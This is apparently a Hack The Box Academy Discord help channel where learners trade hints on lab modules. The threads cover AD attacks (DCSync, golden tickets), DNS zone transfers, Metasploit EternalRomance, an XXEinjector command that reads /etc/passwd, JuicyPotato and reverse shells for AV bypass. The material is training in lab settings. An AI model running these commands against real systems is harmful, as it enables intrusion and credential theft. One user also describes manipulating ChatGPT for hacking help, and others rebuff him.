modules

[sturdy ivy]

Wasn't explained, but you cleared it up. Much appreciated 🙂

[normal sand]

Module: Active Directory Enumeration & Attacks
Section: Skills Assessment Part I

I used an SMB share to transfer files from my Linux attack host to my Windows target. I was able to sucessfully copy the files I wanted over. A little while later, I tried accessing the share that I had mounted N: but only some hidden .vscode directory was showing now.

So, I navigated back to the C: drive and tried to unmount the share using the command

net use n: /delete

But it just hung.

This has happened a couple times. Normally the command works for me.

[fathom pendant]

it depends but depending on how you're accessing the target; evil-winrm has an upload function, xfreerdp has the /drive: option

i've also generally never mounted a share to windows

[normal sand]

The SMB share was running using Impacket on my Linux attack host and I mounted it on the Windows target.

[fathom pendant]

i mean: what tool are you using in the first place to access the windows target?

[normal sand]

Oh, what's your preferred file transfer method? Cuz I tend to use the method I described quite a bit and usually it works fine.

[normal sand]

I have a reverse shell connection.

[fathom pendant]

i've generally used just a web server

or leveraged whatever tool i'm directly connected to the target with

[normal sand]

I had established the reverse shell, mounted the share, transferred files, and then a little while later when I tried to access the share again, it was like how I described.

[fathom pendant]

¯_(ツ)_/¯

[normal sand]

Welp 😂

[fathom pendant]

i always transfer all tools i feel i'll need over at once

[normal sand]

I see.

[fathom pendant]

it could just be a weird restriction with the revshell

[normal sand]

Funny that it starts acting funky after I've already mounted and transferred files once

[fathom pendant]

¯_(ツ)_/¯

[normal sand]

Thanks anyways.

[fathom pendant]

just weird shit with revshell stuff

[normal sand]

I suppose so.

[sterile solstice]

https://academy.hackthebox.com/achievement/1346583/136

far out. i knew what to do, but that was so finicky. took hours to do the assessment tbh lol.

[normal sand]

@fathom pendant is there a specific section you'd recommend I exfiltrate the C:\Tools\ folder from? Or is any section in the AD Enumeration & Attacks module fine?

I haven't really paid attention to whether that folder varies throughtout the module, that's why I'm asking.

[fathom pendant]

all of them have the same C:\Tools\ because spoiler ||the same target is reused throughout the module||

[normal sand]

Ah alrighty, I figured as much since the IP address and stuff seemed the same. Thanks!

[rustic sage]

can someone help me with the command injection module, on the detection part of it. i am trying difrent payloads like ; and /n and && and 127.0.0.1; and 127.0.0.1/n && 127.0.0.1&& but notthing rasing an errors (thats what its soposed to do)

[cloud urchin]

sure

you're entering the payload into a web app, so are you using the injection character itself or the url encoded character?

[rustic sage]

hi guys its that time of the day where i get stuck on a module

https://academy.hackthebox.com/module/144/section/3075

I am on the second question, and I am kind of confused on what CMS is. I googled it and there was like 3 different things.

[cloud urchin]

it's a content management system

they are supposed to be user friendly software that allows users to create, manage, modify content without requiring specialized technical knowledge. think like wordpress. they have templates and stuff making it easy for users to build and maintain websites with pretty much zero coding knowledge.

[rustic sage]

oh okay

like godaddy

[cloud urchin]

pretty sure godaddy just uses wordpress

[rustic sage]

oh

[cloud urchin]

but who knows they may have their own

[rustic sage]

okay thanks

[cloud urchin]

i know they have wordpress for sure though

[rustic sage]

Module: footprinting
Section: DNS

I've discovered more than 1 domains i can go through one being "root.inlanefreight.htb" and "inlanefreight.htb" however, i cannot seem to access the websites even if i've added them to my hosts file

[cloud urchin]

That's because there aren't webservers running on those subdomains

[rustic sage]

that's got to be false, i've pinged the domains and the subdomain and it gave a response back

alright i got it

weird ah name but i wont ask questions

[cloud urchin]

ping doesn't tell you if an ip is hosting a website or not

[rustic sage]

yes i know but it shows if it's up or not

[cloud urchin]

no it doesn't

[cloud urchin]

if the server accepts ping requests then it simply returns the amount of time it takes for the data to travel to and from said server. a server/computer could be configured to not reply to ping requests.

yes your picture shows exactly what i just said

[rustic sage]

Ok but I don't know why i cant even view the sites

[cloud urchin]

ping has zero to do with websites

because they're not sites.

you can ping 127.0.0.1 on your windows box, but if you navigate there in a browser you're not going to see a website because your windows box isn't hosting a website.

[rustic sage]

ok yeah ur right

i got an idea

[fathom pendant]

this section will have 0 to do with websites

and all to do with using dig

or nslookup

[rustic sage]

but even if i was to add it to my host it just claims server cant find it

[fathom pendant]

because you need to also provide an ip for it to look against

[rustic sage]

ah right

[fathom pendant]

dig is a better tool

[rustic sage]

also when i do a zone transfer there's no TXT for me to submit

[fathom pendant]

but since inlanefreight.htb isn't a publicly routed website, it can't be queried without telling the tool what to query it against

[fathom pendant]

because there's somewhere else you can transfer to (hint. it's not root)

also you misread the SOA file

there is no root.inlanefreight.htb; that's the admin email -- [e-mail]

https://www.cloudflare.com/learning/dns/dns-records/dns-soa-record/

[rustic sage]

im not using root for dig i've used the normal inlanefreight.htb

[fathom pendant]

well yes

but you can dig subdomains

[rustic sage]

im assuming it's just gonna be for ns.

[fathom pendant]

why are you assuming?

[rustic sage]

it's just showing me ns

[fathom pendant]

dig axfr inlanefreight.htb @ip
look at the list; there should be an entry that stands out for you to try and dig further into

[rustic sage]

im also refering to question 2

[fathom pendant]

question 2 can be answered in the same way

¯_(ツ)_/¯

in fact most of the other questions are answerable by just doing the thing

there are different types of records; one being the ns record

a zone transfer will retrieve all records on the host

also remember, when you query a server, you're seeing records relative to it

[knotty cape]

can anyone tell me how do i learn hacking discord servers ? which resources should i follow ?

[fathom pendant]

none. Read #rules

[knotty cape]

😦

[rustic sage]

Lmao 💀💀

[fathom pendant]

what you're asking for is illegal my guy

[rustic sage]

also when it says "format: HTB{...))" do i have to do this

HTB{answer}

[fathom pendant]

it's telling you what the answer will look like

[rustic sage]

Oh

[fathom pendant]

that way you're not just guessing "is this the answer?"

[rustic sage]

yeah

[knotty cape]

i wanted to take revenge of a guy , i will just find a black hat hackers group/dc server

[rustic sage]

Typically it's a flag

[cloud urchin]

https://discord.com/security nah they have a bug bounty program 😛

[rustic sage]

then again no black hat will be able to just "hack" a discord server, you're just wasting ur time

[rustic sage]

Bro is the type of guy to ask, "can you hack Instagram?"

[knotty cape]

lmao i am just asking for resources'

[knotty cape]

i dont use it

[cloud urchin]

this discord server is about the hack the box platforms, not hacking stuff like discord. you likely won't find much help here.

[fathom pendant]

good luck finding a public one

[knotty cape]

thnx

[fathom pendant]

it was sarcasm

but have fun getting scammed bud

[rustic sage]

This is not a black hat hacking group. Even if you do find a black hat group, like you said, they'll probably laugh at you when you ask them to teach you to hack discord.

And if anyone ever tells you they'll help you with this, you're getting scammed.

bros gonna accidentally get his own shit rooted by hackers

[cloud urchin]

yeah you're just going to get scammed.

[knotty cape]

i manipulated and asked chatgpt for these stuff

he gave some replies

[fathom pendant]

anyway @rustic sage do a base zone transfer; then just dig against all found A records until it works (note: this is serious, there's a small list so you don't gotta fully automate)

[knotty cape]

but they seem useless

[fathom pendant]

because chatGPT doesn't know what it's doing

[rustic sage]

okay thank you

[rustic sage]

when you mean by a "base" zone transfer, do you mean just do a normal zone transfer?

[rustic sage]

You can't hack discord dude.

[rustic sage]

that's what i said to him

[knotty cape]

what

😦

[rustic sage]

Unless you're a state backed highly intelligent group of hackers, you're probably not hacking discord

[rustic sage]

dw wait till hackthebox makes a discord server privilege escalation module 😂

[cloud urchin]

You are far outside your depth of knowledge. Trust us when we say just forget about it. Don't pursue some "black hat hackers" online to "hack discord". Again, this is also not the place for this kind of stuff.

[knotty cape]

so can i just heck the owner's account

[rustic sage]

[rustic sage]

nah bro ik how to do it check the hackthebox site they actually released a discord server privilege escalation module for only 100 cubes

[knotty cape]

ok thnx

[rustic sage]

np

i was being sarcastic btw

bros actually gonna check 😭

[knotty cape]

ik 😦

[cloud urchin]

Gonna be honest, sounds like you have brainrot from media or something which makes you think hacking is some kind of technowizardry that can just do anything. Just give it up, drop the topic.

[knotty cape]

the most i have done is hack a wps protected wifi by running a script 😦

[rustic sage]

Definition of Script Kiddie right there

[cloud urchin]

i feel personally attacked

[rustic sage]

ngl being a script kiddie helps a little

[sterile solstice]

it is. the darkest of wizardry. everyone else are but muggles 😉

[fathom pendant]

yes

[rustic sage]

oki

[fathom pendant]

when i refer to base n it generally means without modifying commands or doing anything extra

[rustic sage]

so just for these ones?

[fathom pendant]

yes except the ns one

[rustic sage]

oh yeah i know

[fathom pendant]

just go through that list until you get the right thing :)

[rustic sage]

thank you 🙂 ur the best

[fathom pendant]

you'll note that some other answers can be answered from this response of where you can axfr to

[rustic sage]

yeah

[rustic sage]

transfer has failed

[fathom pendant]

you'll get a fail on all except one

[rustic sage]

ohhhhh yes that makes sense now

[fathom pendant]

as I said; do it on all the found subdomains

[rustic sage]

LET'S GOOO

[fathom pendant]

the answer does say "determine IF you can"

[rustic sage]

oh yeah true LMAO anyways thank you so much i appreciate ur help

[rustic sage]

so long

it's been 5 minutes already and i've not gotten any results so far

maybe ip address is flagged do you think?

[fathom pendant]

nope

you're not looking in the right spots

much like dig; dnsenum can also bruteforce subdomains

[rustic sage]

yes thats what im using

dnsenum

[fathom pendant]

you already can zone transfer to inlanefreight.htb and you know another you can transfer to

so try the other subdomains (also you'll need a more fierce list)

[rustic sage]

my list has so much inside

i might have to wait, it gave me another domain on 127.0.0.1

[fathom pendant]

well that list doesn't contain the answer

[rustic sage]

wont know until it's done completely

[fathom pendant]

I know

and i'm telling you; you're wasting time

[rustic sage]

but by the looks of it, it's showing me it's still going and it shouldnt take this long

yeah im a hagve to find a new list

[fathom pendant]

this was a hint

[rustic sage]

I know

Do you know what list i could use?

[fathom pendant]

... take into consideration the word I emphasized

but also you won't get it by bruteforcing inlanefreight.htb

you'll get it via a subdomain.inlanefreight.htb

you have the list of subdomains in front of you

[jolly yacht]

is optional excercise are really needed in order to learn what was mentioned in the section ? i mean i stuck in linux fundamental container optional excercise and it was much complicated also time consuming for me so confused of whether i can skip it or is it necessary , you're opinion might help.

[fathom pendant]

you can skip it

the optional stuff is just to help you get a better feel for the stuff

[jolly yacht]

okay, thanks for you're opinion.

[slow matrix]

Just wondering about the stack-based buffer overflows on linux x86, I have a question. How do I overwrite the EBP and EIP? I've tried the command as shown, and the other commands as shown. I can't get it to overwrite in gdb with the print command

[candid lily]

make sure you use python2.7

i.e it shouldnt be python3

[slow matrix]

ok let me try that, thanks

[fathom pendant]

i mean i also see him using run #(python ...) instead of run $(python...)

[slow matrix]

I do this because of the error I get when I use a lower lvl prompt.

[fathom pendant]

that's weird

[pulsar kiln]

I was stuck bruteforcing OTP in api attacks broken authentication. Can anyone help me?

[fleet sphinx]

the vm for the citrix breakout windows privesc module seems borderline unsable. it's like watching a slideshow in slow motion

[robust quartz]

Think of another method 😉

Since the OTP format is not clear

[slim breach]

goodmorning yall

[robust quartz]

What is up

[slim breach]

i need help with my metasploit module

[fathom pendant]

just ask your question

https://nohello.net ; https://dontasktoask.com

[slim breach]

i was asked to use the Metasploit-Framework to exploit the target with EternalRomance. Find the flag.txt file on Administrator's desktop and submit the contents but when i ran it i got this error

[pulsar kiln]

but hints say "Focus on the POST endpoints /api/v1/authentication/customers/passwords/resets along with /api/v1/authentication/customers/passwords/resets/email-otps or /api/v1/authentication/customers/passwords/resets/sms-otps." so what do you recommend ? I tried brute force password but I couldn't do it.

[fathom pendant]

your LHOST isn't set

[slim breach]

oh sorrt about that im new here

[fathom pendant]

set LHOST tun0

[slim breach]

ok so if i set it.....it should work???

[fathom pendant]

yes

the target doesn't have a route to the public ip 94.237.54.7

it does have a route to your tun0 ip (10.10.x.x)

[slim breach]

oh worked

i tried the show options on the exploit but it didnt bring out a LHOST option so i thought it wasnt neccesarry

[fathom pendant]

if it's RCE/reverse shell, it is

also options is just the command

it's towards the bottom after all the target options

[slow matrix]

this is the error I get when using standard $

[fathom pendant]

well you need to specify python version

[slow matrix]

ty let me go do that

[robust quartz]

I'm sorry, I misread it. I think you are working on a broken authentication module

[slow matrix]

So I use python 2.7? By changing the $path variable?

[fathom pendant]

as far as I'm aware people that have done this have said that Bruteforcing isn't the solution

[fathom pendant]

if it's not in your path

[slim breach]

ok thanks

[fathom pendant]

you can just specify python2.7

or the full path to the python2.7 binary

[pulsar kiln]

yes the section broken authentication in the module api attacks but i was stuck and don't know what to do next

[slim breach]

how do i change directory to desktop? i tried cd but it didnt work

[sterile solstice]

try dropping into a shell first, then try cd

(you're in a meterpreter shell, not a cmd or powershell)

[slim breach]

oh

thanks i have done that

[fathom pendant]

shell

then you can move around

[slim breach]

i did that and was able to get to desktop how do i open/download the file?

.

[sterile solstice]

type flag.txt

[fathom pendant]

type flag.txt

[fathom pendant]

...

[sterile solstice]

the command is "type"

[fathom pendant]

^

[sterile solstice]

then the filename

[fathom pendant]

you're missing some windows basics there bud

[slim breach]

my bad

[fathom pendant]

also you don't need to type shell when you're already in the windows command prompt

[slim breach]

thanks for your help yall😭

[fathom pendant]

if you want to download a file with msfconsole that's done outside the shell

[slim breach]

i was legit thinking i could switch back to meterpreter shell

[sterile solstice]

all good mate. it can be confusing at first, but it gets easier.

[fathom pendant]

exit

[slim breach]

thanks man

[slim breach]

noted

[fathom pendant]

i suggest the information security foundations path before you do any other modules

[sterile solstice]

^ this. then you'll be back to 'Meterpreter 1' which shows you're in the msfconsole again. then if you want to, you can background the session. but that is beyond your needs right now.

[fathom pendant]

then in the meterpereter console you'd type download C:/path/to/file

[sterile solstice]

definitely agree with this. if you're unfamiliar, take the time to do the fundamentals. it'll mean you'll absorb more info when you do the modules and not just spam copy/pasted commands.

[fathom pendant]

and you'll spend less time trying to get through basic hurdles

the hardest part of any module should just be executing the technique itself

[slim breach]

how much cubes will it cost me?

[fathom pendant]

they're all tier 0 modules

so they'll give you the 10 cubes you spend back on them after you complete

[slim breach]

bruv fr i could have legit sworn my vn was broken

[slow matrix]

I tried setting up alias to shell using terminal command alias python=/usr/local/bin/python2.7

[slim breach]

i will study the module thanks once again

[slow matrix]

Still can't get it to go to version 2.7

[fathom pendant]

¯_(ツ)_/¯

likely best to do it in a venv

as python is actually pulled from /usr/bin/python

which is usually symlinked to your highest python version

[slow matrix]

ok will install 2.7 and downgrade ty

[fathom pendant]

https://docs.python.org/3/library/venv.html

[sterile solstice]

i wouldnt recommend that. look at pyenv

[fathom pendant]

i don't recommend downgrading

as it will break all of your other tools

[sterile solstice]

if you downgrade you will likely brake other packages

https://github.com/pyenv/pyenv

[slow matrix]

ty I will look into this

[candid lily]

does academy have paypal option, currently if i click update payment method it only shows credit card. its probably because it is the current method

just do sudo apt install python2.7 you can have both python at same time

[storm elk]

I believe so

ask support to remove your current method 🙂

[candid lily]

wont it remove after it expires?

[storm elk]

not sure

[candid lily]

it shows only credit card ( the sub got expired just now )

[storm elk]

Best to ask support as it is a billing matter and they do not monitor Discord. I remember being able to select PAyPal a little while ago

[candid lily]

are you sure that its on academy, i was able to get paypal on main website

[storm elk]

yes, I am sure

[candid lily]

oh ty, i have asked the chatbot but it says they will mail and no one is available now

[storm elk]

they should get online soon 🙂

[sterile solstice]

anyone had issues installing bashfuscator?

[terse aurora]

Hello! Could someone please help me with this issue I've had?
I'm at the windows fundamentals module at the section about shares and ntfs permissions.
I've used rdp to log into the target and made a share. The funny thing is that from the pwnbox I can't acces it, or ping the target machine. Pinging the pwnbox from the target gives a positive response and I even captured the packets with tcpdump on the pwnbox. Anybody have any idea? I was left with none and chatGPT doesn't know a thing. Thanks for your time! :))

PS: I made an inbound rule on the target to let trafic from that IP pass, it still doesn't work

[lime slate]

Hey
I started learning python and I want like to do some tasks to actually see if I have actually learnt anything

[terse aurora]

You can try the exercise in the module, building that program that makes a wordlist from a website, it might help

[terse aurora]

If anybody has any idea, please let me know, here or DM.
Thanks :)

[lime slate]

Where is it

[terse aurora]

https://academy.hackthebox.com/module/88/section/914
I think this is the one

[next bronze]

how are you trying to access the share

[terse aurora]

smbclient
But the thing is that I wouldn't be surprised if that didn't work, but even ping doesn't work 😢

[next bronze]

what's the command

[terse aurora]

sudo smbclient -L IP -U htb-student (I put in sudo just to be sure)

[terse aurora]

It's the same command as suggested by the course

[wary plover]

have you tried \\IP?

[next bronze]

the full command pls

[terse aurora]

sudo smbclient -L 10.129.190.245 -U htb-student

[next bronze]

smbclient \\\\SERVER_IP\\Company Data -U htb-student

either //IP/Share or \\\\IP\\Share

[terse aurora]

sudo smbclient \\10.129.190.245\Share -U htb-student
Password for [WORKGROUP\htb-student]:
do_connect: Connection to 10.129.190.245 failed (Error NT_STATUS_IO_TIMEOUT)

[void hemlock]

Can I have some assistance for the below module:

Name: ACTIVE DIRECTORY TRUST ATTACKS
Section: Unconstrained Delegation
I was able to get a TGT for DC01$. With the TGT I have done a DCSync attack where I was able to retrieve the NTLM hash of krbtgt. With this hash, I have done a golden ticket to forge a service ticket for the Administrator user in the inlanefreight.ad domain. I am able to list files file on \DC01.inlanefreight.ad\C$. However I dont have the permissions to list files in \DC01.inlanefreight.ad\C$\UCD_flag where the flag is located.

[rustic sage]

Yo, so INTRODUCTION TO MALWARE ANALYSIS , debugging section, inetsim file does not exist

what should I do I am not able to continue with thte excercise

this is on the pwnbox

[next bronze]

for some reason the default firewall is blocking smb, that's a problem with the module I think, for now you can turn off the public firewall and you will be able to access the network share

also again either //IP/Share or \\\\IP\\Share

[lime slate]

Alright, I'll check it out, thank you

[terse aurora]

OK IT WORKS

Thank you!!! :))

[next bronze]

just use DC01$ to access the flag

[void hemlock]

wdym? use the TGT of DC01$

[next bronze]

yes

[void hemlock]

can I DM you?

[next bronze]

what for you have DC01$ yes? just use that ticket to access it

they have mechanisms in place so that only specific accounts can access the flag

[void hemlock]

I have the TGT for DC01$ but I can't list files in \Dc01\inlanefreight.ad\C$\UCD_flag

am I missing something here?

[next bronze]

that's not the right path

submit the flag located at \DC01\UCD_flag\flag.txt
C$ requires admin rights

[void hemlock]

can I DM you to sort it out?

[sudden fern]

hello
im at the noriben module in malware analysis
i use procmon to find the tcp udp traffic of the shell.exe
but it doesnt produce any traffic to any ip

has anyone figured it out?

svchost for example has a lot of traffic

[lofty sparrow]

can someone help me with login brute forcing website skill assessment. ive gotten to the admin login page but when i try to run hydra on the login form, i get "all children were disabled due to too many connection errors"

[sudden fern]

where i filter shell.exe there is nothing

[next bronze]

works for me

[void hemlock]

got it thanks

[sudden fern]

nvm figured it out

[wicked apex]

is that just me or is anyone getting absolute nothing but 0s in all the stats of hackthebox.eu in waybackmachine?

[unique wolf]

Hello, I'm completing some of the easy modules and in the WIndows fundamentials I get an error from submitting the right SID on the last two lecture questions. Is there some kind of bug or should I change the format of the SID somehow?
(as an example for bob.smith sid I have S-1–5–21–2614195641–1726409526–3792725429–1003)
I get the same error on the skills assessment SID questions even though I've placed the correct SID

[rustic sage]

In standard SID notation, the separators should be hyphens (-) rather than en dashes (–). This subtle difference might be causing the submission error maybe...

[unique wolf]

oh yea that was the problem, thank u

[wraith pelican]

hello, not sure if this is the right place to ask, but is anyone else having issues spawning targets in the academy modules? Password Attacks - Pass the Hash, to be more specific

[rustic sage]

Try switching to a different VPN region

[wraith pelican]

I have already tried that, but no success. Thank you, though

[next bronze]

us4 works

[wraith pelican]

took a while, but it spawned on us4. Thanks

[pine vault]

Hi ! I'm working on the "INTRO TO WHITEBOX PENTESTING" module - section Skills Assessment.
I've found one of the RCE method but looking for the second one.
Does anyone can nudge me?

[surreal lichen]

I’ve done a few of the introductory paths, intro to basic toolkit and intro to information security and now working my way through intro to pentester. I’m just wondering does this click further down the line, I’m only at foot printing but I try to do easy boxes on the main platform and still struggling with them

[rustic sage]

I found retaining all the information in footprinting a challenge also, but I think it will come with practice in future modules. Personally I feel like completing the modules first is what will allow me to rank up more easily on HTB because they show you the process from A to Z. Anyways you're not alone keep your chin up!

[surreal lichen]

Yeah it is a large module with a lot of info, I'm using academy alongside my uni studies as I'm going into second year and apparently it ramps up in difficulty quite a lot, so trying to be better prepared! Thanks for the reassurance 😄

[zenith vale]

└─$ ruby XXEinjector.rb --host=10.10.16.106 --httpport=8000 --file=/tmp/xxe.req --path=/etc/passwd --oob=http --phpfilter
hey guys i did the command up above as shown in the xxe automation part. ive saved the modified request in tmp and name it xxe.req my vpn ip and named port stated the file i wanna read also the filter and out of band flags but still the response im getting is that. -> XXEinjector by Jakub Pałaczyński

Enumeration options:
"y" - enumerate currect file (default)
"n" - skip currect file
"a" - enumerate all files in currect directory
"s" - skip all files in currect directory
"q" - quit

[-] Multiple instances of XML found. It may results in false-positives.
[+] Sending request with malicious XML.
[+] Responding with XML for: /etc/passwd
[+] Retrieved data:
[+] Nothing else to do. Exiting.
now when im looking for the logs they none existent, i dug deper into the xxe folder and found a log folder but its empty

[clever topaz]

does getting domain admin means you can compromise domain controller?

[rustic sage]

Yes

[clever topaz]

already compromise*?

[patent jungle]

Hi, I'm having issues with the Windows Privilege Escalation Skills Assessment - Part I. I managed to get a reverse shell as an unprivileged user, and noticed I have the SeImpersonate privilege. I'm using JuicyPotato to exploit this, I have also found the valid CLSID to be passed in as an argument to the JuicyPotato binary, but I am unable to get a reverse shell as System. Here's the command I'm using and its output:

And visibly I receive no connection.

Any help?

[wicked apex]

Hello everyone, I am on the Information Gathering (Web): Web Archive module as in the Penetration Tester Job Path.
So far I have completed all other questions except the first and second.
For the link I have changed from hackthebox.com to hackthebox.eu as instructed.

The first asked about the amount of pentest lab of HTB on 8thAug 2018,
and the second asked how many members did HTB had in 10Jun2017.

And from the screenshot attached here, I saw none from the wayback machine as from web.archive.org.

Have anyone experienced the same issuse in this module?

[dusky gyro]

check your url? read the question, scroll down and search more

[wicked apex]

I saw my mistake there, thank you

[ebon nymph]

i recently completed this

[ebon nymph]

bro if u face any issue u can dm me i can help u with approach

[hexed spindle]

Anyone available to assist with Windows Privilege Escalation - Windows Server? Having trouble with the rundll32.exe command.

[rustic sage]

Hi everyone! I'm totally stuck on Attacking Common Applications - Skills Assessment II - "What is the admin password to access this application?". From what I understand from the forums the way forward is to create a Gitlab account but when I try I just get error code 422.

Just wanted to check if I'm on the right path with this?

[uncut cave]

Hi ya, can anyone help for Windows Evasion Skill Assessment 2 ? I'm able to get reverse shell by executing the VB Script directly on target box, but was unable to get it via trigger and therefore escalate to another user...

[rustic sage]

@fathom pendant hey im having issues finding the wordlist for the SMTP part

[fathom pendant]

Have you tried the wordlist from the resources button?

[rustic sage]

O

I didn't know that was a thing ngl 😂

thank you though appreciate it a lot

[patent jungle]

anyone?

[cold dome]

I need help to clear "Information Gathering - Web Edition Skills Assessment". I was able to answer 2 out of 5 and unfortunately, I'm stuck. Nothing seems to work whenever I try to using scrapy, finalrecon, gobuster. Can you please point me in the right direction without disclosing the answers? Here's my hosts file to start:

GNU nano 8.0 /etc/hosts
127.0.0.1 localhost
127.0.1.1 kali

The following lines are desirable for IPv6 capable hosts

::1 localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters

83.136.254.169 inlanefreight.htb

[dusky gyro]

whats your gobuster code?

[cold dome]

gobuster vhost -u http://inlanefreight.htb:34024/ -w /home/kali/SecLists-master/Discovery/DNS/subdomains-top1million-20000.txt -p pattern -t 50 | grep -Ev "Status: 400"

gobuster dir -u http://94.237.58.196:59272 -w /home/kali/SecLists-master/Discovery/Web-Content/directory-list-2.3-big.txt -t 50

[old oasis]

the first one is on the right track. try make it simpler 🙂

look at the virtual hosts module again

[cold dome]

I see, thanks for confirming. Perhaps can you give example? Also what about crawling, I can't seem to make it work.

[old oasis]

Sure DM me

[cold dome]

Dm sent.

[rustic sage]

Not sure why inlane freight wouldn't be the answer 🤔 it does say organisation name is to equal as that

nvm

[fathom pendant]

Don't need a pattern, you do need a bigger list

[rustic sage]

i figured out why that wasnt correct i got the answer

[fathom pendant]

Limited information 😉

[wintry iris]

Hello everyone

I am working on the Information Gathering - Web Edition skill assessment

whois inlanefreight.htb
No whois server is known for this kind of object.

I got the above error when running the whois command

anyone know what's wrong? I already added the domain name to /etc/hosts

[rustic sage]

did u try to add it in the /etc/hosts file?

[wintry iris]

yes, I added

and i can ping this domain

[rustic sage]

there are other services out there u can use instead of whois

[wintry iris]

but whois doesn't work

[rustic sage]

to retrieve your answers

[next bronze]

inlanefreight.htb is not a real domain, you won't find it on whois

[wintry iris]

but the solution of HTB is using it

[rustic sage]

The ".htb" top-level domain is not a standard public domain.

[fathom pendant]

Whois searches public registrar info, inlanefreight.htb isn't a public website

Are you sure it's not inlanefreight.com?

Of which that is a real website

[wintry iris]

vHosts needed for these questions:
inlanefreight.htb

• 1 What is the IANA ID of the registrar of the inlanefreight.com domain?

[old oasis]

inlanefreight.com is public, inlanefreight.htb is not. It confused me aswell

[rustic sage]

Yeah it's inlanefreight.com

[fathom pendant]

The question says .com

[wintry iris]

OMG

thanks everyone

[fathom pendant]

Reading the question helps

[wintry iris]

this is so confusing

[rustic sage]

Not really

[wintry iris]

TRUE

[fathom pendant]

It's not confusing if you read the question

¯_(ツ)_/¯

[wintry iris]

I read it, just did not catch the .htb and .com change

[fathom pendant]

Then you didn't read carefully

[wintry iris]

LOL

true

[rustic sage]

for the client side validation part of the file uploads module i am trying to click the upload button but it doesnt let me upload a file, its as if the button has been disabled even though its not, can someone pls help me?

¯_(ツ)_/¯

[old oasis]

cute cat btw

[rustic sage]

Thanks

[old oasis]

have you tried clicking on the portrait?

[rustic sage]

ooooohhhh, no way. thc u (it works)

[fathom pendant]

The upload button sends the request to the server

[wintry iris]

do you guys have a full time job? I started my subscription in February and only completed 25% of the CPTS modules, am I too slow?

[rustic sage]

Nah

[potent sedge]

hey, wayback machine is dead ?

[wicked apex]

use .eu and scroll

[rustic sage]

No

[wicked apex]

guys does reconspider supports alternative port than 80,8080 or 443?

[wintry iris]

curl --head http://web1337.inlanefreight.htb:33555/admin_h1dd3n
HTTP/1.1 301 Moved Permanently
Server: nginx/1.26.1
Date: Wed, 10 Jul 2024 16:01:22 GMT
Content-Type: text/html
Content-Length: 169
Location: http://web1337.inlanefreight.htb/admin_h1dd3n/
Connection: keep-alive

can anyone tell me why the final slash is so important?

without that slash, we cannot get the content

[rustic sage]

You mean the /admin?

[wintry iris]

/admin_h1dd3n and /admin_h1dd3n/

you see the difference, the final slash is important

without that slash, we only got HTTP 301

[rustic sage]

Bc admin_h1dd3n is probably a directory and not a file

[wintry iris]

https://stackoverflow.com/questions/61547014/restful-uri-trailing-slash-or-no-trailing-slash

I found this

[old oasis]

this can be considered spoilers for the module btw

[wintry iris]

It's not allowed?

I think modules are just for learning and practice, it's not the exam

[wicked apex]

the subdomain prob

[wintry iris]

In exam, sure, we shouldn't cheat

[candid lily]

how to download a file from pwnbox

[wintry iris]

pwnbox has internet connection

You can upload to a temp file website

Then download from there

[shut quest]

There's ssh creds on the desktop, you can just use scp

[candid lily]

ooh ty

[candid lily]

damn i didnt knew we could ssh into pwnbox

the ssh looks cool

[wicked apex]

Information Gathering - Web Edition
Skill Assessment

I am currently stuck at question 3 of the skill assessment.

I have attempted gobuster directory brute-force and vhosts enum on the target machine for now.
I appended 94.237.59.199 inlanefrieght.htb
at the end of /etc/hosts (the site can be reached via firefox as http://inlanefreight.htb:50304)

I also tried ffuf on the target too but that yielded no results (ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt:FUZZ -u http://94.237.59.199:50304 -H 'Host: FUZZ.inlanefreight.htb')

I configured and installed reconspider on pwnbox and it successfully ran against the public site of inlanefreight, but no luck on the .htb version of it within pwnbox. As it doesn't yield anything within its results.json unlike its attempt on the public site.
python3 ReconSpider.py http://inlanefreight.htb:50304

There isn't any robots.txt within the target site either. Can you guys provide me with some hints of your exploration on that target?

Thanks for reading this wall of text lol.

[candid lily]

did you find the subdomain

[wicked apex]

sadly no for now..

[candid lily]

your ffuf looks fine it is supposed to find a subdomain

make sure you used the right filters

[normal sand]

Module: Active Directory Enumeration & Attacks
Section: Skills Assessment Part I
https://academy.hackthebox.com/module/143/section/1278

I've used SharpHound.exe from the initial Windows target to gather data and now I'm trying to upload it to BloodHound but it just stays at 0%. I've tried several times. Anyone got any idea why?

[candid lily]

i think you need compatible versions

it gets stuck at 0 if you use incompatible versions

[normal sand]

How do I ensure the versions are compatible?

[dim wolf]

if you're using legacy bloodhound, the repo has a folder called "collectors", inside there is the sharphound you want to use

[jolly dagger]

Would like a point in the right direction for the Microsoft Defender AV Bypass - Dynamic Chapter.
I'm suppose to create a reverse shell and then read a file on another user's desktop for the flag. I created the RShell, compiled it, and placed it in C:\Alpha\dynamic. It passes the AV check, a process starts my shell, then it dies 45s via a timeout. I thought it might be the IP and port since they are args in the program and I never supplied them, so I hardcoded them. Again, compiled, and placed into the correct folder. Checked the log. A process starts my shell, then it dies 45s later. tshark also shows no incoming TCP packets from the victim to my attack computer, only the RDP connection. I can ping my attack from the victim. Wondering what I should look at next to figure out a solution.

[candid lily]

i dont remember but you have to install them from same place, check its readme

[next bronze]

also when you run sharphound it will tell you the version it's compatible with

[next bronze]

do you have your own windows vm to test with

[jolly dagger]

Yes

[next bronze]

does it work?

[shut quest]

Review the section again, it also goes over micr0_shell

[normal sand]

I just saw this on the first line of the output of SharpHound.

2024-07-10T09:38:46.5638037-07:00|INFORMATION|This version of SharpHound is compatible with the 5.0.0 Release of BloodHound

I just checked and my BloodHound is running version 4.3.0
How do I update it? I've already tried sudo apt install bloodhound

[jolly dagger]

Does the solution 3 not work? I understand there are multiple solutions. i want to do them all and am starting with the 3rd.

[next bronze]

bh 5.0 above is community edition, it's moved to using docker now
https://github.com/SpecterOps/BloodHound I personally like it more but if you want to use the older version you'll need to use a older collector

[normal sand]

Up to which version is this SharpHound recommended for?

[dim wolf]

that sharphound should work for your version of bloodhound

[shut quest]

The rshell method requires args to be passed to it, does the script checking your method also pass args to your program?

[normal sand]

Ohhh, I'm not familiar with how to use docker. I think I'll stick with the older one then. So I just use the SharpHound from the collector folder?

[next bronze]

yeah it should work or you can grab it from https://github.com/BloodHoundAD/SharpHound/releases v2 should be fine

[marsh scarab]

Does anyone want to buy a Fortnite account

[next bronze]

no

[dim wolf]

<@&861185840277487616>

[normal sand]

I'm assuming I'll have to switch eventually to the docker version of bloodhound. Guess I should learn it then.

[jolly dagger]

